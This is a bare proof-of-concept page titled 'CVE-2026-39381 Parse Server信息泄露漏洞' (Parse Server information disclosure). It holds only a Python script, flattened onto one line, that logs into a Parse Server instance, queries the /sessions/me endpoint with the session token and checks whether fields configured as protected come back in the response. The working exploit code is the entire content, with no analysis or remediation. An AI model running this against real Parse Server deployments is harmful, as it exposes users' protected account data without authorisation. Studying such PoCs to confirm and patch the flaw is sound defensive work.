CVE-2026-39381 Parse Server信息泄露漏洞

import requests # Target URL configuration target_url = "http://localhost:1337/parse" # Step 1: Authenticate to obtain a valid session token login_payload = { "username": "victim", "password": "password123" } try: login_resp = requests.post(f"{target_url}/login", json=login_payload) if login_resp.status_code != 200: print("[-] Login failed. Check credentials.") exit(1) session_token = login_resp.json().get("sessionToken") print(f"[+] Logged in. Session Token: {session_token}") # Step 2: Exploit the vulnerability via /sessions/me # The vulnerable endpoint ignores 'protectedFields' headers = { "X-Parse-Application-Id": "YOUR_APP_ID", "X-Parse-Session-Token": session_token } exploit_resp = requests.get(f"{target_url}/sessions/me", headers=headers) # Step 3: Check for leaked protected fields if exploit_resp.status_code == 200: data = exploit_resp.json() print("[+] Successfully retrieved session data:") print(data) # Check if sensitive fields (e.g. 'protectedField') are present if 'protectedField' in data or 'sensitiveData' in data: print("[!] VULNERABILITY CONFIRMED: Protected fields are leaked!") else: print("[!] Protected fields might not be configured or already patched.") else: print(f"[-] Request failed with status code: {exploit_resp.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")